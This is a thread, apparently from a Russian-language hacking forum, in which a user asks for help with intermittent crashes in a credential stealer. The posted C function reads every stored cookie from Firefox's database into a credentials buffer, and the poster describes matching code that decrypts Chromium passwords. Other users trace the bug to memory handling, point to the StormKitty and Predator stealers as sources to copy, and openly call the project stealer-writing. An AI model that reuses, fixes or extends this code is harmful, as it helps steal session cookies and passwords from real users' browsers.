• XSS.stack #1 – первый литературный журнал от юзеров форума

sqlite3_open sometimes returns ntdll exception: alternatives?

3c2n90yt57489t3y8794

RAID-массив
Пользователь
Регистрация
01.09.2020
Сообщения
66
Реакции
5
Hello, I use sqlite3.c and sqlite3.h to open chromium databases in order to decrypt passwords. The problem is that:
9/10 times -> the program gets all passwords correctly
1/10 times -> sqlite3_open16(File, &db) returns an exception in ntdll (and the File open by sqlite is everytime different and valid, so it's not a problem about the file)

Код:
Exception thrown at 0x00007FF9FEE1426B (ntdll.dll) 0xC0000005: Access violation reading location

I'm running the software in w10 ltsc, I suppose ntdll sometimes is used by the system and sqlite3.c can't use it so it doesn't handle this case. Do you know if there a way to fix the problem or another library to use?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
show call stack after exception
show code
then we can talk

I suppose ntdll sometimes is used by the system and sqlite3.c can't use it so it doesn't handle this case.
lol
you have copy of ntdll.dll in every process. Doesn't matter who is using ntdll at this time.

another library to use?
no library. Code sqlite3 parser yourself or recode it from stormkitty/predator.
or use sqlite3.

sqlite3 is stable library. Mistake in your code.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
show call stack after exception
show code
then we can talk


lol
you have copy of ntdll.dll in every process. Doesn't matter who is using ntdll at this time.


no library. Code sqlite3 parser yourself or recode it from stormkitty/predator.
or use sqlite3.

sqlite3 is stable library. Mistake in your code.
Скорее всего там стек портится, или ещё чего и ТС видит ExceptionDispatcher из нтдлл. Думаю sqlite вообще не при чем
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скорее всего там стек портится, или ещё чего и ТС видит ExceptionDispatcher из нтдлл. Думаю sqlite вообще не при чем
а ну да. Чет не подумал, что если экспешн с нтдлл, то скорее всего стек не увидеть уже.
Хотя если проект с CRT, то там должно отображать чзх произошла. Если стэк наебнул, то CRT может показать, что ты функцию не так вызывал (не с той коллинг конвеншн).
В любом случае, то что мы сейчас делаем - гадание. Код нужен.
 
C:
// COOKIES GECKO
void Extract_Cookies_gecko(WCHAR* File, char* browser, char** all_creds) {
    sqlite3_stmt* stmt;
    sqlite3* db;

    if (sqlite3_open16(File, &db) == SQLITE_OK)
    {
        if (sqlite3_prepare_v2(db, "SELECT  host, name, path, value, expiry FROM moz_cookies", -1, &stmt, 0) == SQLITE_OK)
        {
            while (sqlite3_step(stmt) == SQLITE_ROW)
            {
                int secretSize = sqlite3_column_bytes(stmt, 3);
                    CHAR data[3000];
                    CHAR host[1000] = { 0 }; wsprintfA(host, "%s%s", sqlite3_column_text(stmt, 0), sqlite3_column_text(stmt, 2));
                    CHAR name[1000] = { 0 }; wsprintfA(name, "%s", sqlite3_column_text(stmt, 1));
                    CHAR secret[1000] = { 0 }; wsprintfA(secret, "%s", sqlite3_column_text(stmt, 3));
                    CHAR expiry[1000] = { 0 }; wsprintfA(expiry, "%s", sqlite3_column_text(stmt, 4));
                    memset(data, 0, 3000);
                    wsprintfA(data, "\nBrowser: %s\nHost: %s\nCookie-name: %s\nCookie-value: %s\n", \
                        browser, \
                        host, \
                        name, \
                        secret \
                    );
                    *all_creds = dyn_string_append(*all_creds, data);
            }
        }
        sqlite3_finalize(stmt);
        sqlite3_free(db);
    }
    return;
}

This is the code and as I said the crash happens (1/10 times) when I call sqlite3_open16. The code for chromium cookie/password extraction is very similar and the crash happens also in their sqlite3_open16 calls.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
WCHAR* File
Мог ли ты это освободить до вызова функции с sqlite3_open16?
Если у тебя сложная многопоточность, то смотри внимательно, что ты с памятью делаешь.

Как ты вызываешь эту фуникцию?

CHAR data[3000]; CHAR host[1000] = { 0 }; CHAR name[1000] = { 0 }; CHAR secret[1000] = { 0 }; CHAR expiry[1000]
ту мач для стэка в цикле))) производительности пиздец
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор почитай про разработку на C, тебе пока рано еще стиллеры писать. Нет смысла идти дальше если ты даже с кучей не разобрался. Кстати, вот хороший пример для тех кто дрочит на C код, почему стоит учить C++. Обернул бы всё в класс с конструкторами/деструкторами и выстрелить себе в ногу со строками, аллокацией памяти, открытием/закрытием хендлов было бы в разы сложнее

З.Ы
C:
wsprintfA(data, "\nBrowser: %s\nHost: %s\nCookie-name: %s\nCookie-value: %s\n", \
                        browser, \
                        host, \
                        name, \
                        secret \
                    );

У этой функции ограничение в 1025 символов, если строка на выходе выйдет за него, ты получишь порезанную строку. Пользуйся функциями для форматирования строк из ntdl или shlwapi
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх